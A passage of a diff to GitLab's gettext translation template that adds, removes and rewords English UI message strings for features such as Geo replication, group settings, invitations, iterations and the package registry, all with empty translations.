-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{eventId} (%{timeAgo})"
-msgstr ""
-
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14651,6 +14533,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14678,6 +14563,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14714,6 +14602,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14780,6 +14671,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14792,10 +14686,13 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
msgstr ""
msgid "Geo|Offline"
@@ -14807,9 +14704,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14882,6 +14776,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14891,6 +14791,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14921,9 +14824,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14945,6 +14845,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -14987,6 +14896,9 @@ msgstr ""
msgid "Geo|Verification status"
msgstr ""
+msgid "Geo|Verified"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -15230,9 +15142,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15329,16 +15238,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15371,9 +15283,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15509,7 +15418,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15533,6 +15442,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15686,6 +15604,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15707,13 +15628,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -16007,6 +15931,9 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
+msgstr ""
+
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
@@ -16043,6 +15970,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16082,13 +16012,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16097,9 +16027,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16136,22 +16063,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16238,6 +16174,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16250,6 +16189,21 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16366,6 +16320,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16395,9 +16352,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16452,9 +16406,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16509,9 +16460,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16914,6 +16862,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16947,6 +16898,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16959,9 +16913,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16974,6 +16937,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17100,6 +17066,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17139,6 +17108,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17193,9 +17165,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17262,7 +17243,7 @@ msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17271,6 +17252,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17310,6 +17294,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17346,7 +17333,7 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
msgid "IncidentSettings|Grafana integration"
@@ -17364,9 +17351,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17502,6 +17486,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17514,6 +17510,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17553,6 +17552,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17651,9 +17653,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17693,6 +17692,9 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all projects inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}project integration management%{link_end}."
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
@@ -17876,6 +17878,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -17951,25 +17956,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -17978,13 +17965,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18005,7 +17989,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18014,9 +17998,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18041,6 +18022,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18194,6 +18178,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18263,12 +18250,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18461,12 +18442,21 @@ msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18476,15 +18466,27 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
msgid "Iterations|No iteration cadences to show."
msgstr ""
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18524,9 +18526,6 @@ msgstr ""
msgid "Jaeger URL"
msgstr ""
-msgid "Jaeger tracing"
-msgstr ""
-
msgid "Jan"
msgstr ""
@@ -18623,6 +18622,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18638,10 +18640,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18731,9 +18733,6 @@ msgstr ""
msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
-msgstr ""
-
msgid "Job"
msgstr ""
@@ -18749,9 +18748,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18779,18 +18775,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19064,9 +19048,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19297,9 +19278,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19507,6 +19485,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19728,6 +19709,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -19983,7 +19967,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20202,9 +20186,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20274,6 +20255,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20295,6 +20279,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20307,6 +20294,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20367,9 +20357,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -20871,10 +20858,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -21155,6 +21142,9 @@ msgstr ""
msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
+msgid "Migration"
+msgstr ""
+
msgid "Migration has been scheduled to be retried"
msgstr ""
@@ -21286,9 +21276,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21547,9 +21534,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21577,6 +21561,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21720,9 +21707,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21744,9 +21728,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21777,6 +21758,9 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network policy"
+msgstr ""
+
msgid "NetworkPolicies|Network traffic"
msgstr ""
@@ -21831,6 +21815,9 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
+msgid "NetworkPolicies|Scan Execution"
+msgstr ""
+
msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
@@ -21846,9 +21833,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22058,7 +22042,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22439,6 +22423,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22553,9 +22540,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22690,9 +22674,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23247,6 +23228,9 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
+msgid "Our team has been notified. Please try again."
+msgstr ""
+
msgid "Out-of-compliance with this project's policies and should be removed"
msgstr ""
@@ -23406,6 +23390,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23436,6 +23423,9 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23514,6 +23504,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23577,6 +23570,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23607,6 +23606,9 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23661,6 +23663,9 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
+msgid "Pagination|First"
+msgstr ""
+
msgid "Pagination|Go to first page"
msgstr ""
@@ -23673,6 +23678,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
